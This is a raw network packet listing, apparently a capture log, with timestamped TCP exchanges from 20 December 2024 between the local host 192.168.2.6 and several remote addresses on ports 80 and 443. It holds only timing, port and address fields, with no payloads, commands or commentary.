Dec 20, 2024 17:43:32.322962999 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.323677063 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.323728085 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.323762894 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.323805094 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.324698925 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.324753046 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.324839115 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.324882984 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.325567007 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.325618982 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.325881958 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.325928926 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.326518059 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.326531887 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.326570034 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.327486992 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.327537060 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.328012943 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.328058958 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.328402996 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.328445911 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.328603983 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.328649044 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.329324961 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.329374075 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.329525948 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.329567909 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.330295086 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.330341101 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.330343962 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.330391884 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.331227064 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.331269979 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.331358910 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.331404924 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.332180023 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.332227945 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.332340956 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.332381010 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.333133936 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.333178997 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.333245993 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.333287954 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.334060907 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.334105015 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.334233999 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.334278107 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.335042953 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.335089922 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.335169077 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.335212946 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.335969925 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.336014986 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.336118937 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.336162090 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.336929083 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.336975098 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.337007046 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.337049961 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.337877989 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.337954998 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.337995052 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.338032961 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.338831902 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.338926077 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.338979959 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.339026928 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.339757919 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.339816093 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.339827061 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.339871883 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.340713024 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.340770006 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.340934038 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.340986013 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.341666937 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.341713905 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.353132010 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.353219986 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.353310108 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.353387117 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.353548050 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.353620052 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.353701115 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.353749990 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.354523897 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.354593992 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.354662895 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.354703903 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.355465889 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.355515003 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.490020037 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.490124941 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.490124941 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.490180016 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.492002964 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.492090940 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.492134094 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.492171049 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.492245913 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.492259026 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.492281914 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.492296934 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.492413998 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.492448092 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.497958899 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.498008013 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.498030901 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.498130083 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.498285055 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.498297930 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.498320103 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.498337030 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.499236107 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.499277115 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.499330997 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.499365091 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.500210047 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.500248909 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.500303984 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.500339985 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.501121044 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.501173973 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.501331091 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.501369953 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.502038002 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.502074003 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.502298117 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.502394915 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.503093004 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.503139019 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.503173113 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.503211975 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.503930092 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.503977060 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.504089117 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.504128933 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.504956007 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.504970074 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.505007029 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.505851984 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.505902052 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.505935907 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.505974054 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.506746054 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.506788969 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.507195950 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.507239103 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.507700920 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.507740021 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.508680105 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.508692980 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.508721113 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.508742094 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.508776903 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.508816004 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.509633064 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.509689093 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.509829998 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.509869099 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.510639906 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.510651112 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.510679960 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.510701895 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.511512995 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.511554956 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.511625051 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.511660099 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.512458086 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.512500048 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.512618065 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.512696028 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.513423920 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.513478994 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.513508081 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.513546944 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.514343023 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.514380932 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.514488935 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.514520884 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.515347004 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.515388966 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.515446901 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.515476942 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.516273022 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.516314030 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.516441107 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.516475916 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.517215967 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.517254114 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.517431974 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.517465115 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.518146038 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.518192053 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.518274069 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.518311024 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.519546986 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.519560099 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.519592047 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.519617081 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.520032883 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.520073891 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.520104885 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.520139933 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.520979881 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.521025896 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.521029949 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.521080017 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.521960020 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.522006989 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.522109032 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.522156954 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.522897005 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.522939920 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.522994995 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.523036003 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.523812056 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.523855925 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.523994923 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.524034977 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.525147915 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.525163889 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.525197983 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.525212049 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.525744915 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.525785923 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.526062012 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.526097059 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.527875900 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.527921915 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.527977943 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.528008938 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.528253078 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.528266907 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.528290987 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.528300047 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.529480934 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.529493093 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.529525042 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.529532909 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.529664993 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.529706001 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.529738903 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.529774904 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.530530930 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.530571938 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.530607939 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.530643940 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.531428099 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.531471014 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.531522036 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.531569004 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.532490015 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.532532930 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.532933950 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.532979012 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.533366919 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.533401012 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.533423901 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.533458948 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.534281015 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.534368038 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.534398079 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.534435987 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.535212040 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.535254955 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.535288095 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.535326958 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.536215067 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.536253929 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.536304951 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.536351919 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.537128925 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.537167072 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.537189007 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.537228107 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.538022041 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.538068056 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.538186073 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.538223982 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.538970947 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:32.539012909 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:32.672457933 CET	443	49737	172.67.131.246	192.168.2.6
Dec 20, 2024 17:43:32.672570944 CET	443	49737	172.67.131.246	192.168.2.6
Dec 20, 2024 17:43:32.672683001 CET	49737	443	192.168.2.6	172.67.131.246
Dec 20, 2024 17:43:32.672852993 CET	49737	443	192.168.2.6	172.67.131.246
Dec 20, 2024 17:43:32.672872066 CET	443	49737	172.67.131.246	192.168.2.6
Dec 20, 2024 17:43:32.691572905 CET	49738	443	192.168.2.6	172.67.131.246
Dec 20, 2024 17:43:32.691627979 CET	443	49738	172.67.131.246	192.168.2.6
Dec 20, 2024 17:43:32.691729069 CET	49738	443	192.168.2.6	172.67.131.246
Dec 20, 2024 17:43:32.692015886 CET	49738	443	192.168.2.6	172.67.131.246
Dec 20, 2024 17:43:32.692030907 CET	443	49738	172.67.131.246	192.168.2.6
Dec 20, 2024 17:43:33.917110920 CET	443	49738	172.67.131.246	192.168.2.6
Dec 20, 2024 17:43:33.917200089 CET	49738	443	192.168.2.6	172.67.131.246
Dec 20, 2024 17:43:33.918397903 CET	49738	443	192.168.2.6	172.67.131.246
Dec 20, 2024 17:43:33.918421030 CET	443	49738	172.67.131.246	192.168.2.6
Dec 20, 2024 17:43:33.919362068 CET	443	49738	172.67.131.246	192.168.2.6
Dec 20, 2024 17:43:33.920552015 CET	49738	443	192.168.2.6	172.67.131.246
Dec 20, 2024 17:43:33.920725107 CET	49738	443	192.168.2.6	172.67.131.246
Dec 20, 2024 17:43:33.920761108 CET	443	49738	172.67.131.246	192.168.2.6
Dec 20, 2024 17:43:33.920804024 CET	49738	443	192.168.2.6	172.67.131.246
Dec 20, 2024 17:43:33.967334986 CET	443	49738	172.67.131.246	192.168.2.6
Dec 20, 2024 17:43:34.654685974 CET	49740	443	192.168.2.6	172.67.197.170
Dec 20, 2024 17:43:34.654725075 CET	443	49740	172.67.197.170	192.168.2.6
Dec 20, 2024 17:43:34.654999971 CET	49740	443	192.168.2.6	172.67.197.170
Dec 20, 2024 17:43:34.656497955 CET	49740	443	192.168.2.6	172.67.197.170
Dec 20, 2024 17:43:34.656513929 CET	443	49740	172.67.197.170	192.168.2.6
Dec 20, 2024 17:43:34.760538101 CET	49734	80	192.168.2.6	185.215.113.43
Dec 20, 2024 17:43:34.760916948 CET	49741	80	192.168.2.6	185.215.113.43
Dec 20, 2024 17:43:34.796447992 CET	443	49738	172.67.131.246	192.168.2.6
Dec 20, 2024 17:43:34.796534061 CET	443	49738	172.67.131.246	192.168.2.6
Dec 20, 2024 17:43:34.796617985 CET	49738	443	192.168.2.6	172.67.131.246
Dec 20, 2024 17:43:34.796791077 CET	49738	443	192.168.2.6	172.67.131.246
Dec 20, 2024 17:43:34.796812057 CET	443	49738	172.67.131.246	192.168.2.6
Dec 20, 2024 17:43:34.868993998 CET	49743	443	192.168.2.6	172.67.131.246
Dec 20, 2024 17:43:34.869048119 CET	443	49743	172.67.131.246	192.168.2.6
Dec 20, 2024 17:43:34.869139910 CET	49743	443	192.168.2.6	172.67.131.246
Dec 20, 2024 17:43:34.869515896 CET	49743	443	192.168.2.6	172.67.131.246
Dec 20, 2024 17:43:34.869539022 CET	443	49743	172.67.131.246	192.168.2.6
Dec 20, 2024 17:43:34.880459070 CET	80	49741	185.215.113.43	192.168.2.6
Dec 20, 2024 17:43:34.880503893 CET	80	49734	185.215.113.43	192.168.2.6
Dec 20, 2024 17:43:34.880573034 CET	49734	80	192.168.2.6	185.215.113.43
Dec 20, 2024 17:43:34.880587101 CET	49741	80	192.168.2.6	185.215.113.43
Dec 20, 2024 17:43:34.880801916 CET	49741	80	192.168.2.6	185.215.113.43
Dec 20, 2024 17:43:35.000574112 CET	80	49741	185.215.113.43	192.168.2.6
Dec 20, 2024 17:43:35.874686956 CET	443	49740	172.67.197.170	192.168.2.6
Dec 20, 2024 17:43:35.874833107 CET	49740	443	192.168.2.6	172.67.197.170
Dec 20, 2024 17:43:35.876473904 CET	49740	443	192.168.2.6	172.67.197.170
Dec 20, 2024 17:43:35.876485109 CET	443	49740	172.67.197.170	192.168.2.6
Dec 20, 2024 17:43:35.876770973 CET	443	49740	172.67.197.170	192.168.2.6
Dec 20, 2024 17:43:35.916088104 CET	49740	443	192.168.2.6	172.67.197.170
Dec 20, 2024 17:43:35.919421911 CET	49740	443	192.168.2.6	172.67.197.170
Dec 20, 2024 17:43:35.919437885 CET	49740	443	192.168.2.6	172.67.197.170
Dec 20, 2024 17:43:35.919584990 CET	443	49740	172.67.197.170	192.168.2.6
Dec 20, 2024 17:43:36.087841988 CET	443	49743	172.67.131.246	192.168.2.6
Dec 20, 2024 17:43:36.087950945 CET	49743	443	192.168.2.6	172.67.131.246
Dec 20, 2024 17:43:36.089541912 CET	49743	443	192.168.2.6	172.67.131.246
Dec 20, 2024 17:43:36.089557886 CET	443	49743	172.67.131.246	192.168.2.6
Dec 20, 2024 17:43:36.089829922 CET	443	49743	172.67.131.246	192.168.2.6
